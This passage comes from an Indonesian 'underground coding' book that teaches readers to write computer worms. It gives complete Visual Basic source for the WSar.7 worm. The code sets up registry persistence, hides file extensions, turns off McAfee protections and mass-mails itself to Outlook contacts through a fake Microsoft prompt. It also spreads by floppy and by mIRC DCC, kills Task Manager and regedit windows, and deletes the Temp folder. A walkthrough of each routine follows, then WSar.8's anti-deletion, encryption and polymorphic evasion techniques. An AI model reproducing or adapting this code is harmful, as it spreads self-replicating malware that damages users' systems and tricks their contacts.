Height 255 Tinggi Label

Left 3480 Posisi dari kiri

Top 2600 Posisi dari atas

Width 855 Lebar Label

Properti object Command1

Jenis Nilai Keterangan(Name) CmdSend Mengatur nama CommandButton menjadi

CmdSend

Caption Send Error Report Mengatur teks pada Caption

Height 325 Tinggi object

Left 3160 Posisi dari kiri

Top 2950 Posisi dari atas

Width 1575 Lebar object

Page 211: Computer Worm 1 secret of underground coding

196Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Properti object Command2

Jenis Nilai Keterangan(Name) cmdDontSend Mengatur nama CommandButton menjadi

cmdDontSend

Caption Don’t Send Mengatur teks pada Caption

Height 325 Tinggi object

Left 4890 Posisi dari kiri

Top 2950 Posisi dari atas

Width 1100 Lebar object

Properti object Timer1

Jenis Nilai KeteranganName tmrSpreading Mengatur nama Timer menjadi tmrSpreading

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable True Pastikan Timer akan aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer3

Jenis Nilai KeteranganName tmrWinForce Mengatur nama Timer menjadi tmrWinForce

Enable True Pastikan Timer akan aktif saat form di-load

Interval 50 Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.05 detik

Page 212: Computer Worm 1 secret of underground coding

197Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Properti object Text1

Jenis Nilai KeteranganName txtPath Mengatur nama TextBox menjadi txtPath

Visible False TextBox tidak akan diperlihatkan, object ini ditambahkan dengan tujuan untuk mendukung suatu procedure pada Form

Tampilan form WSar.7

Properti Module1

Jenis Nilai KeteranganName mdlDeltree Mengatur nama module menjadi mdlDeltree

Properti Module2

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlRegis-

tryAPI

Properti Module3

Jenis Nilai KeteranganName mdlWinForce Mengatur nama module menjadi mdlWinForce

Page 213: Computer Worm 1 secret of underground coding

198Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Ketik kode program berikut ini pada module mdlDeltree:

Function Deltree(ByVal dirpath As String) As Long On Error GoTo nogo Dim filetemp As String Dim etrap As Long If Right(dirpath, 1) <> "\" Then dirpath = dirpath & "\" filetemp = Dir(dirpath, vbDirectory) Do While Trim(filetemp) <> "" If Trim(filetemp) <> "." And Trim(filetemp) <> ".." Then If (GetAttr(dirpath + filetemp) And vbDirectory) = _ vbDirectory Then etrap = Deltree(dirpath + filetemp) filetemp = Dir(dirpath, vbDirectory) Else filetemp = Dir(, vbDirectory) End If Else filetemp = Dir(, vbDirectory) End If Loop filetemp = Dir(dirpath + "*.*") Do While Trim(filetemp) <> ""SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop filetemp = Dir(dirpath + "*.*", vbHidden) Do While Trim(filetemp) <> ""SetAttr (dirpath + filetemp), vbNormal Kill(dirpath + filetemp) filetemp = Dir Loop If Right(dirpath, 1) = "\" Then dirpath = Mid(dirpath, 1, Len _ (dirpath) - 1) SetAttr(dirpath, vbNormal) RmDir(dirpath) Deltree = 0 Exit Functionnogo: Deltree = Err.NumberEnd Function

Ketik kode program berikut ini pada object frmWSar7:

'WSar.7 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Page 214: Computer Worm 1 secret of underground coding

199Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Private Declare Function ExitWindowsEx& Lib "user32" (ByVal _ uFlags&, ByVal dwReserved&)Private Declare Function InternetGetConnectedState Lib _ "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As _ Long) As LongPrivate Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Private Sub Form_Load() On Error Resume Next Dim mcAfeeExist As String If App.PrevInstance = True Then End If LCase(App.Path) <> LCase(SpecialFolder(1)) ThenShell (SpecialFolder(0) & "\notepad.exe"), vbNormalFocus End If mcAfeeExist = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\McAfee.com\Virusscan Online\property", "Scri" & _ "ptStopper:Enable") If mcAfeeExist <> "" Then Call McAfee_MyFriend() End If Call InfectSystem() Call mIrc()End Sub

Private Sub cmdSend_Click() On Error Resume Next Me.Hide() MsgBox("System will scan your outlook files including your add" & _ "ress book for some reason, you may see the Outlook confirm" & _ "ation dialog, please allow access and click yes in confirmatio" & _ "n box. Thanks for your contribution - Microsoft Windows Te" & _ "am.", vbOKOnly + vbInformation, "MICROSOFT WINDO" & _ "WS TEAM - PLEASE READ THIS") Call InfectMail()End Sub

Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(0) & "\wintweak.exe") FileCopy(WormFile, SpecialFolder(1) & "\kerne132.exe") SetStringValue("HKEY_LOCAL_MACHINE\Software\Microso" & _ "ft\Windows\CurrentVersion\Run", "winsys", SpecialFolder(1) & _ "\kerne132.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile", _ "NeverShowExt", "")End Sub

Page 215: Computer Worm 1 secret of underground coding

200Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Private Sub tmrSpreading_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If If InternetGetConnectedState(0&, 0&) = 0 Then GoTo stopit If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Me.Show() End Ifstopit:End Sub

Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "readme.txt" NamaCantik(1) = "hello.txt" NamaCantik(2) = "readfirst.txt" NamaCantik(3) = "important.txt" NamaCantik(4) = "mystery.txt" NamaCantik(5) = "secret.txt" NamaCantik(6) = "crucial.txt" NamaCantik(7) = "sacred.txt" NamaCantik(8) = "joke.txt" NamaCantik(9) = "funny.txt" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*txt .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & " .exe") End IfEnd Sub

Private Sub InfectMail() On Error Resume Next Dim CountLoop, searchlist, searchemails As Integer Dim kiddie As Object Dim winfolder As Object Dim a, b, c kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) a = CreateObject("Outlook.Application") If Not a = "" Then b = a.GetNameSpace("MAPI") For searchlist = 1 To b.AddressLists.Count CountLoop = 1 c = a.CreateItem(0) For searchemails = 1 To b.AddressLists(searchlist). _ AddressEntries.Count c.Recipients.Add(b.AddressLists(searchlist).AddressEntries _ (CountLoop)) CountLoop = CountLoop + 1 Next

Page 216: Computer Worm 1 secret of underground coding

201Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

c.Subject = "WinTweak " & Year(Now) + 1 c.Body = "Here’s a file that will tweak your windows " & _ "more faster..." c.Attachments.Add(winfolder & "\" & "wintweak.exe") c.DeleteAfterSubmit = True c.Send() Next End IfEnd Sub

Private Sub mIrc() On Error GoTo stopit Dim mIrcPath As String txtPath.Text = GetStringValue("HKEY_LOCAL_MACHINE\S" & _ "OFTWARE\Classes\irc\DefaultIcon", "") mIrcPath = Mid(txtPath.Text, 2, (Len(txtPath.Text) - 11)) If Dir(mIrcPath, vbDirectory) <> "" Then FileCopy(WormFile, mIrcPath & "\wintweak.exe")Open mIrcPath & "\script.ini" For Output As 1Print #1, "[script]"Print #1, "n0= on 1:TEXT:*hello*:#:{"Print #1, "n1= /if ( $nick == $me ) { halt }"Print #1, "n2= /msg $nick Hello.. here’s a file that will tweak you" & _ "r windows more faster..."Print #1, "n3= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n4= }"Print #1, "n5= on 1:JOIN:#:{"Print #1, "n6= /if ( $nick == $me ) { halt }"Print #1, "n7= /msg $nick Hello.. here’s a file that will increase y" & _ "our computer memory up to 64 MB..."Print #1, "n8= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n9= }"Print #1, "n10= on 1:PART:#:{"Print #1, "n11= /if ( $nick == $me ) { halt }"Print #1, "n12= /msg $nick Hello.. here’s a file that will increase" & _ "your VGA Card memory..."Print #1, "n13= /dcc send -c $nick " & mIrcPath & "\wintweak.exe"Print #1, "n14= }" Close(1) End Ifstopit:End Sub

Private Sub McAfee_MyFriend() On Error Resume Next SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanHeu" & _ "ristic", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "EmailScan:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "WS:Enable", "040000" & _ "0003000000bc2a899adf5032ed55263f04e7e3392704040404")

Page 217: Computer Worm 1 secret of underground coding

202Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ScriptStopper:Enable", _ "0400000003000000bc2a899adf5032ed55263f04e7e3392704" & _ "040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:ScanAll" & _ "Files", "0400000003000000bc2a899adf5032ed55263f04e7e3" & _ "392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\property", "ActiveShield:LoadAtS" & _ "tartup", "0400000003000000bc2a899adf5032ed55263f04e7e" & _ "3392704040404") SetHexValue("HKEY_LOCAL_MACHINE\SOFTWARE\McA" & _ "fee.com\Virusscan Online\Customize\Options\AShield", "State", _ "4d4352470100000004000000040000003827d569621fecd14" & _ "3ed118d7a2ea0bea2231907")End Sub

Private Sub tmrIseng_Timer() If Minute(Now) = 30 And Second(Now) = 1 Then Printer.CurrentX = 1000 Printer.CurrentY = 1000 Printer.FontBold = True Printer.FontUnderline = True Printer.FontItalic = False Printer.FontSize = 30 Printer.Print("WSAR.7 WAS HERE") Printer.CurrentX = 1000 Printer.FontUnderline = False Printer.FontItalic = True Printer.FontSize = 18 Printer.Print("BRING THE TRUTH TO YOUR HOME") Printer.EndDoc() End If If Day(Now) = 13 And Month(Now) = 10 Then Call Payload()End Sub

Private Sub Form_Terminate() Shell(App.EXEName & ".exe") ExitWindowsEx(2, 0&)End Sub

Private Sub tmrWinForce_Timer() WinQuit("task") WinQuit("find") WinQuit("search") WinQuit("run") WinQuit("reg") WinQuit("config")End Sub

Private Sub Payload() Dim kiddie As Object Dim tmpfolder As Object kiddie = CreateObject _

Page 218: Computer Worm 1 secret of underground coding

203Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

("scripting.filesystemobject") tmpfolder = kiddie.GetSpecialFolder(2) Deltree(tmpfolder) MsgBox("WSar.7 Ada Pada Komputer Anda", vbExclamation)End Sub

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4 dan module mdlWinForce menggunakan module yang sama pada WSar.5

Berikut penjelasan tentang kode program:

Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mematikan proses sistem operasi Windows, function API untuk mendapatkan status koneksi Internet dan function untuk mendapatkan direktori Windows dan direktori System Windows.

Saat form di-load, worm memeriksa path file utama, jika file utama tidak berada pada folder System Windows maka worm akan membuka aplikasi Notepad yang merupakan suatu upaya rekayasa sosial. Hal ini berkaitan dengan icon file txt yang digunakan worm, sehingga user akan percaya jika yang dieksekusinya ternyata adalah file text yang kosong.

Page 219: Computer Worm 1 secret of underground coding

204Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Kemudian worm akan memeriksa keberadaan aplikasi McAfee VirusScan dengan mengambil salah satu dari nilai registry yang dibuat oleh aplikasi tersebut. Jika ditemukan maka worm akan memanggil procedure McAfee_MyFriend, worm juga memanggil procedure InfectSystem dan procedure mIrc.

Procedure cmdSend_Click adalah procedure yang akan dijalankan saat user mengklik tombol Send Error Report pada form yang ditampilkan. Procedure ini membuat form disembunyikan, menampilkan sebuah kotak pesan berupa teks "System will scan your outlook files including your address book for some reason, you may see the Outlook confirmation dialog, please allow access and click yes in confirmation box. Thanks for your contribution - Microsoft Windows Team" dengan caption yang berbunyi "MICROSOFT WINDOWS TEAM - PLEASE READ THIS", dan saat user mengklik tombol OK pada kotak pesan tersebut worm kemudian memanggil procedure InfectMail.

Procedure InfectSystem akan membuat salinan worm pada folder Win-dows dengan nama file wintweak.exe dan pada folder Sytem Windows dengan nama file KERNE132.EXE, kemudian memanipulasi registry agar file kerne132.exe akan aktif saat Windows startup.

Worm juga memanipulasi registry dengan tujuan agar Windows Ex-plorer tidak menampilkan ekstensi exe walaupun user menghilangkan seleksi pada opsi Hide extensions for known file types pada Folder Op-tions. Sehingga nama worm tetap terlihat berekstensi txt, contohnya mystery.txt dan readme.txt.

Procedure tmrSpreading_Timer akan memanggil procedure InfectFloppy jika satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13. Kemudian menampilkan form jika system terhubung ke internet dan jika menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13.

Procedure InfectFloppy membuat data array yang memuat 10 nama file worm yang akan disalinkan ke disket. Worm kemudian memeriksa apakah file worm sudah ada pada disket atau tidak dengan memeriksa file yang berakhiran "txt. exe". Jika tidak ditemukan maka worm akan membuat salinan ke disket dengan salah satu nama file yang diambil secara acak.

Page 220: Computer Worm 1 secret of underground coding

205Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

3. W

orm

WS

ar.7

Procedure InfectMail akan mengirimkan sebuah e-mail untuk setiap alamat yang ada pada MS Outlook address book dengan subjek: wintweak yyyy (tahun depan), body: Here’s a file that will tweak your windows more faster..., dan sebuah file attachment yang merupakan file worm dengan nama wintweak.exe dan berada pada folder Windows.

Procedure mIrc akan memeriksa keberadaan aplikasi mIRC dengan mencari suatu nilai pada registry yang sekaligus akan mengembalikan nilai berupa path aplikasi tersebut, kemudian membuat salinan worm ke folder Windows dengan nama wintweak.exe.

Worm juga membuat file bernama script.ini yang merupakan file kon-figurasi aplikasi mIRC, dengan manipulasi konfigurasi ini worm akan memberikan salam dan menawarkan suatu file (wintweak.exe) yang terlihat berguna untuk meningkatkan performa komputer, dengan kalimat-kalimat sebagai berikut:

1. Hello.. here’s a file that will tweak your windows more faster...2. Hello.. here’s a file that will increase your computer memory up to

64 MB...3. Hello.. here’s a file that will increase your VGA Card memory...

Procedure McAfee_MyFriend bertugas untuk memanipulasi registry untuk menonaktifkan semua opsi tab ActiveShield pada kotak dialog Options dan semua opsi pada kotak dialog Advanced ActiveShield Op-tions. Selain itu, worm juga akan menyembunyikan tab ActiveShield pada kotak dialog Options.

Procedure tmrIseng_Timer akan mencetak suatu kalimat pada printer jika menit menunjukan nilai 30 dan detik menunjukan nilai 1. Adapun kalimat yang dicetak akan terlihat sebagai berikut:

WSAR.7 WAS HEREBRING THE TRUTH TO YOUR HOME

Page 221: Computer Worm 1 secret of underground coding

206Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 13. W

orm W

Sar.7

Pada tanggal 13 Oktober, worm akan memanggil procedure PayLoad.

Procedure Form_Terminate akan dijalankan jika user menghentikan proses worm dengan menggunakan suatu program (seperti program antivirus ) atau melalui Task Manager.

Procedure ini akan mengeksekusi kembali file worm dan berusaha untuk me-restart komputer dengan menggunakan function API ExitWindowsEx, penulis akan memberikan metode turn off yang lebih baik pada WSar selanjutnya.

Procedure tmrWinForce_Timer akan menutup setiap aplikasi yang pada caption-nya memuat kata task, find, search, run, reg atau config.

Procedure Payload akan menghapus folder dan seluruh sub folder pada direktori Temp. Kemudian menampilkan sebuah kotak pesan yang berbunyi "WSar.7 Ada Pada Komputer Anda"

Module mdlDeltree berisi suatu rangkaian instruksi dan membentuk suatu function yang berguna untuk menghapus folder dan sub folder beserta file yang ada didalamnya, function ini hampir mirip dengan perintah deltree pada perintah eksternal Shell DOS.

Page 222: Computer Worm 1 secret of underground coding

207Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

BAB 14WORM WSar.8

Seorang worm writer dengan nickname [K]alamar pernah membuat suatu script menggunakan bahasa pemrograman Visual Basic Script (VBS) yang kemudian terkenal dengan istilah

"Anti Deletion Methode", suatu metode yang menyulitkan user untuk menghapus file worm.

Melalui WSar.8 penulis akan mendemonstrasikan metode ini dengan teknik yang berbeda dan dikembangkan sehingga bisa digunakan pada bahasa pemrograman Visual Basic serta file worm lebih sulit untuk dihapus.

Selain itu WSar.8 juga menggunakan teknik yang umumnya digunakan worm modern, seperti teknik encryption dan polymorphic.

Uniknya worm ini ditambahkan suatu rutin yang akan membasmi varian worm lokal Pesin dan Kangen jika ditemukan pada system komputer yang sama.

Metode ini hampir sama dengan metode yang digunakan oleh RontokBro, suatu worm lokal Indonesia lainnya yang muncul di-pertengahan tahun 2005.

Page 223: Computer Worm 1 secret of underground coding

208Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

14.1 WATCHER METHODEMetode Watcher adalah suatu metode yang membentuk suatu rang-kaian program yang saling mengawasi satu sama lainnya, tidak hanya mengawasi keberadaan program tetapi juga mengawasi hal lain seperti suatu konfigurasi, keberadaan atau ketidakadaan suatu hal atau me-ngawasi suatu kejadian tertentu.

Metode ini penulis gunakan pada WSar.8 sebagai pengganti metode Anti Deletion. WSar.8 saat menginfeksi suatu system akan mem-buat salinan dirinya pada direktori System Windows dengan nama WINWORD.EXE dan langsung mengeksekusi file tersebut.

Saat tereksekusi, file WINWORD.EXE akan memeriksa apakah pada direktori Windows terdapat file SPOOL32.EXE dan apakah file tersebut sedang aktif, jika tidak maka WINWORD.EXE akan membuat salinan dirinya ke direktori Windows dengan nama file SPOOL32.EXE dan langsung mengeksekusinya.

Saat tereksekusi file SPOOL32.EXE akan kembali memeriksa apakah pada direktori System Windows terdapat file dengan nama WINWORD.EXE dan apakah file tersebut sedang aktif.

Jika tidak maka SPOOL32.EXE akan membuat salinan dirinya ke direk-tori System Windows dengan nama file WINWORD.EXE dan langsung mengeksekusinya.

Demikian proses tersebut berulang secara berkesinambungan, sehingga jika salah satu proses file tersebut dihentikan maka file lainnya akan membuat salinan yang baru dan langsung mengeksekusinya, sehingga kedua file tersebut terlihat seperti tidak bisa dihapus.

Dengan metode yang sama WSar.8 melakukan pemeriksaan terhadap registry yang dibuatnya, jika data registry terhapus, secara otomatis WSar.8 akan membuat kembali data registry tersebut.

Page 224: Computer Worm 1 secret of underground coding

209Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

14.2 ENCRYPTION METHODEEncryption Methode atau metode enkripsi adalah suatu metode yang mengubah suatu kode yang mudah dimengerti menjadi sulit untuk dimengerti. Proses enkripsi secara umum dapat digambarkan sebagai berikut:

Plain text disini adalah teks atau pesan awal yang masih mudah untuk dimengerti, kemudian melalui suatu proses yang disebut enkripsi maka dengan suatu algoritma tertentu teks tersebut diubah sehingga sulit untuk dimengerti (cipher text).

Untuk mengubah kembali cipher text maka dilalui lagi suatu proses yang disebut dekripsi dengan menggunakan kebalikan dari algoritma enkripsi, perhatikan gambar berikut ini:

Gambar diatas adalah suatu contoh proses enkripsi dan dekripsi dengan

Page 225: Computer Worm 1 secret of underground coding

210Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

algoritma menambahkan satu untuk enkripsi dan sebagai kebalikan-nya dengan mengurangi satu untuk proses deskripsi, sehingga untuk proses enkripsi huruf D akan menghasilkan E, A akan menghasilkan B, R menghasilkan S, M menghasilkan N dan L akan menghasilkan M.

Untuk proses dekripsi huruf E akan menghasilkan D, B menghasilkan A, S menghasilkan R, N menghasilkan M dan M akan menghasilkan L.

Algoritma proses enkripsi dan dekripsi tidak terbatas pada proses pertambahan dan pengurangan saja, tetapi juga pada perkalian, pem-bagian dan dapat berupa kombinasi dari operator-operator aritmatik lainnya.

Enkripsi diatas adalah salah satu metode Substitution Cipher. Metode ini tergolong paling sederhana, mudah digunakan dan juga mudah untuk dipecahkan. Namun demikian dalam rangka menyulitkan penganalisaan maka pada WSar.8, algoritma yang digunakan dibagi menjadi 3 bagian, yaitu:

1. Karakter ascii 65 hingga 90, ditambahkan dengan 127 sehingga karakter 65 menjadi karakter 192, 66 menjadi 193 dan seterusnya

2. Karakter ascii 97 hingga 122, ditambahkan dengan 121 sehingga karakter 97 menjadi karakter 218, 98 menjadi 219 dan seterusnya

3. Karakter ascii 48 hingga 57, ditambahkan dengan 196 sehingga kara-kter 48 menjadi karakter 244, 49 menjadi 245 dan seterusnya, untuk lebih jelasnya perhatikan tabel ascii pada halaman 211 berikut ini:

Page 226: Computer Worm 1 secret of underground coding

211Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Page 227: Computer Worm 1 secret of underground coding

212Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Dengan algoritma tersebut maka plain text "Achmad Darmal" akan menjadi cipher text "ÀÜáæÚÝ ÃÚëæÚå".

Berikut ini adalah gambar saat worm WSar.8 yang tidak terenkripsi (kiri) dan terenkripsi (kanan) di buka pada suatu aplikasi hex editor.

Bisa Anda bayangkan jika lokasi suatu nilai registry yang dibuat dan sangat dirahasiakan dapat diketahui dengan mudah, hanya dengan melihat body program yang tidak terenkripsi.

14.3 POLYMORPHIC METHODEMetode polymorphic adalah suatu metode yang membuat file program worm atau virus berubah setiap penginfeksian. Berubah disini bisa berupa perubahan pada isi program maupun ukuran program terse-but.

Metode polymorphic biasanya digunakan worm atau virus untuk menghindari scanning dari antivirus yang umumnya menggunakan metode checksum dalam mengenali worm atau virus.

Page 228: Computer Worm 1 secret of underground coding

213Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Pada WSar.8, penulis membuat suatu function dengan nama PolyCopy yang penggunaannya hampir sama dengan function FileCopy, hanya saja function ini akan mengubah beberapa byte tertentu pada file tu-juan.

Byte yang dapat diubah umumnya tidak akan menimbulkan bugs apapun pada program asli, sebagai contoh berikut ini adalah tampilan worm WSar.8 saat dibuka dengan menggunakan suatu aplikasi hex editor.

Pada byte ke 78 sampai dengan byte ke 115 terdapat string "This pro-gram cannot be run in DOS mode". String ini adalah suatu pesan yang akan ditampilkan apabila user mencoba untuk mengeksekusi program tersebut pada DOS mode.

Apabila pesan ini diubah maka tidak akan menciptakan bugs baru pada kode program, kecuali menampilkan pesan baru hasil perubahan jika dieksekusi pada DOS mode.

Saat belum dilakukan perubahan program ini memiliki nilai crc32 "8E9F13A1", namun setelah dilakukan perubahan dengan mengganti huruf "e" pada byte ke 115 menjadi huruf "y" maka nilai crc32 program tersebut berubah menjadi "E247760C". Hal ini membuktikan bahwa pe-rubahan apapun pada body program akan mengubah nilai checksum program tersebut.

Page 229: Computer Worm 1 secret of underground coding

214Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Perlu Anda ketahui bukan hanya string diatas saja yang dapat diubah tanpa menciptakan suatu bug baru, tetapi sesungguhnya sepanjang kode program banyak terdapat string seperti itu, misalnya informasi Company Name, Product Name, File Version, Product Version atau Internal Name yang biasanya selalu ada pada setiap program yang terkompilasi dengan bahasa pemrograman visual.

Catatan:

Mengubah suatu file menggunakan hex editor cenderung merusak program utama, untuk itu jangan menambah atau mengurangi byte pada body program, perubahan pada string hendaklah disesuaikan dengan jumlah string yang memung-kinkan untuk diubah, dan selalu siapkan backup untuk program yang akan diubah

14.4 ALGORITMAWSar.8 memiliki rutin-rutin yang akan melakukan tindakan sebagai berikut:

1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer

2. Pada nama program utama tertentu worm akan menyembunyikan aplikasi file worm dari task list

3. Membuka aplikasi MS Word dengan teks beranimasi lengkap saat user mengeksekusinya

4. Menginfeksi system dengan membuat salinan worm pada folder Windows, System Windows dan langsung mengeksekusinya, ke-mudian memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup

5. Membuat salinan pada setiap direktori yang aktif pada aplikasi Windows Explorer dengan menggunakan function polycopy

Page 230: Computer Worm 1 secret of underground coding

215Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

6. Dampak lain yang ditimbulkan adalah membuat animasi pointer mouse yang memantul disekitar layar selama 8 detik setiap menit-nya

7. Menghapus infeksi dari worm lokal lainnya, yaitu worm Pesin dan Kangen

8. Pada tanggal 13 Oktober, worm akan me-restart komputer dengan menggunakan metode sendkeys.

14.5 PEMROGRAMANBuat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'Document1 – Microsoft Word’. Salah satu function pada module mdlDir memiliki referensi pada Microsoft Shell Controls And Automation, sehingga kita terlebih dahulu harus membuat project mengacu pada file tersebut dengan cara:1. Klik Project pada menubar, dan pilih References.2. Pada kotak dialog References, beri seleksi pada opsi Microsoft Shell

Controls And Automation, kemudian klik OK.

Kemudian tambahkan 1 buah object ListBox, 4 buah object Timer dan 7 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmWSar8 Mengatur nama form menjadi frmWSar8

BorderStyle None Tidak memberikan garis tepi pada form

ControlBox False Tidak menampilkan ControlBox pada form

Icon (Icon) Pilih icon yang akan digunakan pada form, WSar.8 menggunakan icon word.ico

ShowInTaskbar False Tidak menampilkan form pada taskbar

Visible False Tidak menampilkan form pada layar.

Page 231: Computer Worm 1 secret of underground coding

216Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Properti object Timer1

Jenis Nilai KeteranganName tmrDir Mengatur nama Timer menjadi tmrDir

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan diek-sekusi setiap satu detik

Properti object Timer2

Jenis Nilai KeteranganName tmrIseng Mengatur nama Timer menjadi tmrIseng

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 1 Setiap instruksi pada procedure Timer akan diek-sekusi setiap 0.001 detik

Properti object Timer3

Jenis Nilai KeteranganName tmrSPOOL32 Mengatur nama Timer menjadi tmrSPOOL32

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object Timer4

Jenis Nilai KeteranganName tmrWINWORD Mengatur nama Timer menjadi tmrWIN-

WORD

Enable False Pastikan Timer tidak aktif saat form di-load

Interval 1000 Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik

Properti object List1

Jenis Nilai KeteranganName lstDir Mengatur nama ListBox menjadi lstDir

Page 232: Computer Worm 1 secret of underground coding

217Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Properti Module1

Jenis Nilai KeteranganName mdlCrypt Mengatur nama module menjadi mdlCrypt

Properti Module2

Jenis Nilai KeteranganName mdlDir Mengatur nama module menjadi mdlDir

Properti Module3

Jenis Nilai KeteranganName mdlRegistryAPI Mengatur nama module menjadi mdlReg-

istryAPI

Properti Module4

Jenis Nilai KeteranganName mdlRestart Mengatur nama module menjadi mdlRestart

Properti Module5

Jenis Nilai KeteranganName mdlWildMouse Mengatur nama module menjadi mdlWild-

Mouse

Properti Module6

Jenis Nilai KeteranganName mdlWinCheck Mengatur nama module menjadi mdlWin-

Check

Properti Module7

Jenis Nilai KeteranganName mdlWinExit Mengatur nama module menjadi mdlWinExit

Page 233: Computer Worm 1 secret of underground coding

218Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Ketik kode program berikut ini pada module mdlCrypt:

Option Explicit On

